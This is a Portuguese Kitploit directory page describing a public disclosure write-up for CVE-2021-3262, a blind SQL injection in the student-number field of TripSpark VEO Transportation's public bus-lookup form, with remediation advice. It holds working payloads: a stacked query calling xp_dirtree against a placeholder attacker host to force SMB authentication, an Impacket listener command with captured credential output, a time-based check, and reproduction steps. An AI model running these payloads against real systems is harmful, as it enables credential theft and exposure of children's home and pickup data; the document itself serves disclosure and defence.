Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-3262 — CVE-2021-3262 - Injeção SQL cega no parâmetro editOEN do TripSpark VEO Transportation / NovusEDU. Sem autenticação, exposto à internet. Payloads, requisições anotadas e evidências. | Kitploit
Ferramentas/GitHubGitHub/l0lsec/cve-2021-3262
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebPapers e PesquisaAprendizado e EducaçãoSegurança de Banco de Dados
GitHubl0lsec/cve-2021-3262

CVE-2021-3262

CVE-2021-3262 - Injeção SQL cega no parâmetro editOEN do TripSpark VEO Transportation / NovusEDU. Sem autenticação, exposto à internet. Payloads, requisições anotadas e evidências.

Ver Repositório
3há 1 mêsAinda não revisado
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-3262

Injeção de SQL em TripSpark VEO Transportation / NovusEDU

A página pública de consulta "Student Busing Information" distribuída com o TripSpark VEO Transportation recebe entrada não autenticada no corpo do POST e a concatena em uma consulta SQL Server sem parametrização ou validação no lado do servidor. O parâmetro editOEN (o campo do número do aluno) é injetável.

A injeção é cega: a aplicação não retorna erros de banco de dados nem conteúdo diferencial que valha a pena ler. Ainda assim, é totalmente explorável fora de banda, porque a conexão com o banco de dados pode alcançar master.dbo.xp_dirtree, o que força a conta de serviço do SQL Server a autenticar para fora via SMB em um caminho UNC fornecido pelo atacante.

Encontrada durante um teste de penetração externo. No engajamento original, a credencial capturada da conta de serviço foi o ponto de apoio inicial que levou ao comprometimento total do domínio e da floresta do Active Directory do cliente.

Publicada como CVE-2021-3262. Descoberta e reportada por Sedric Louissaint da Show Up Show Out Security.


Resumo

CVECVE-2021-3262
ProdutoTripSpark VEO Transportation / NovusEDU
AfetadoNovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS
FraquezaCWE-89: Injeção de SQL
CVSS 3.1 (NVD)9.8 Crítica CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (pesquisador)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
Publicado2023-08-29
Testado emWindows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64)
Autenticação necessáriaNenhuma. A página de consulta é voltada para a internet por design.

Descrição do NVD:

TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 permite entradas de dados inseguras nos parâmetros do corpo de POST de usuários finais, sem sanitização usando lógica no lado do servidor. Foi possível injetar comandos SQL personalizados nas consultas de busca "Student Busing Information".

Detalhes técnicos

A superfície exposta

Os distritos implantam a página "Student Busing Information" em seus sites públicos para que os pais possam consultar a atribuição de ônibus de um aluno. Ela solicita um N Number do aluno e uma data de nascimento, e é intencionalmente não autenticada.

A página pública Student Busing Information

O campo N Number é enviado como editOEN. A data de nascimento é enviada como cboxMonth, cboxDay e cboxYear. editOEN é o parâmetro injetável.

Injeção cega

Ao contrário de muitas aplicações ASP.NET dessa época, esta página não ecoa erros de banco de dados. Não há diferença visível entre uma consulta bem formada e uma quebrada, então técnicas in-band são um beco sem saída.

Consultas empilhadas de fato são executadas, o que é tudo o que é necessário.

Exploração fora de banda via xp_dirtree

master.dbo.xp_dirtree enumera um diretório. Dado um caminho UNC, o SQL Server autentica no host de destino via SMB antes de lê-lo. Apontá-lo para um listener transforma uma injeção silenciosa em uma visível:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

O payload no parâmetro editOEN

A requisição é um POST comum do ASP.NET WebForms, com cerca de 4.700 bytes, a maior parte dos quais é __VIEWSTATE. A requisição completa está em poc/exploited-request.http, e os payloads em poc/payloads.sql.

A requisição HTTP explorada

Autenticação capturada

Com o smbserver.py do Impacket escutando em um host na internet pública, o servidor de banco de dados dentro da rede do distrito autentica para fora:

root@kitploit:~
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Autenticação forçada capturada com Impacket

Duas coisas merecem ser nomeadas explicitamente. Primeiro, este é um formulário não autenticado e voltado para a internet que alcança um banco de dados de produção. Segundo, esse servidor de banco de dados tinha permissão para fazer conexões SMB de saída para hosts arbitrários na internet, o que tornou a injeção cega observável.

Impacto

Além da injeção em si, a credencial NTLMv2 capturada para a conta de serviço do SQL Server foi o ponto de apoio inicial no engajamento original. A partir daí, a avaliação escalou para o comprometimento total do domínio e da floresta do Active Directory do cliente.

Os dados em risco são os registros de transporte escolar: nomes, endereços residenciais, ônibus designado, ponto de embarque designado, horários de coleta e rotas de educação especial. Trata-se de uma agenda de onde crianças identificáveis estarão fisicamente em horários conhecidos.

Reprodução

Em uma instância de laboratório que você possua ou esteja autorizado a testar:

  1. Carregue a página "Student Busing Information".
  2. Inicie um listener em um host que o alvo possa alcançar:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  3. Envie o formulário com o payload xp_dirtree de poc/payloads.sql no campo N Number, substituindo pelo seu próprio IP. Capture e repita o POST em vez de digitar no navegador se o campo tiver um limite de comprimento no lado do cliente, já que esse limite não existe no lado do servidor.
  4. Uma versão vulnerável produz uma autenticação SMB de entrada a partir da conta de serviço do SQL Server. Nada muda na resposta HTTP.
  5. A confirmação baseada em tempo também funciona se você não puder receber SMB de entrada:
    root@kitploit:~
    123'; waitfor delay '0:0:10';--
    

Conteúdo do repositório

root@kitploit:~
poc/
  payloads.sql            Detection, time-based and out-of-band payloads for editOEN
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations for a blind stacked-query injection
media/
  01-student-busing-information-page.png
  02-editoen-payload-in-burp.png
  03-forced-auth-captured-impacket.png
  04-exploited-http-request.png

Os identificadores de cliente nas capturas foram ocultados. Os endereços dos listeners são do engajamento original e já estão mortos há muito tempo. Substitua pelos seus ao reproduzir.

Remediação

  1. Consultas parametrizadas. Vincule editOEN como um parâmetro e o payload se torna uma string inerte, não importa o que contenha.
  2. Validação no lado do servidor. Um número de aluno é curto e numérico. Aplique isso no servidor, não no formulário.
  3. Menor privilégio para a conta do banco de dados. A conta por trás de uma página pública de consulta precisa ler as atribuições de ônibus e nada mais. Revogue o acesso a xp_dirtree e às outras stored procedures estendidas.
  4. Filtragem de saída. O servidor de banco de dados de um distrito escolar não tem motivo para abrir conexões SMB com a internet. Bloquear a porta 445 de saída remove o canal fora de banda.
  5. Separe o formulário público do sistema de registro. A página usada pelos pais deve consultar uma réplica restrita, não o banco de dados de produção que também contém as rotas de educação especial.

Linha do tempo

DataEvento
2021Encontrada durante um teste de penetração externo e reportada à TripSpark
2023-08-29CVE-2021-3262 publicada no NVD, com pontuação 9.8 Crítica

Artigos

  • Conta pessoal: https://sedriclouissaint.com/blog/tripspark-veo-sql-injection-cve-2021-3262/
  • Show Up Show Out Security: https://susos.co/blog/sqlspark-sql-injection-in-tripspark-veo-transport-cve-2021-3262

Aviso legal

Publicado após a divulgação, para uso defensivo e educacional. Não execute esses payloads contra sistemas que você não possua ou para os quais não tenha autorização por escrito para testar. Se você administra uma implantação de distrito, a ação útil aqui é perguntar ao seu fornecedor, por escrito, se as consultas por trás dos seus formulários públicos são parametrizadas.

Baixar ferramenta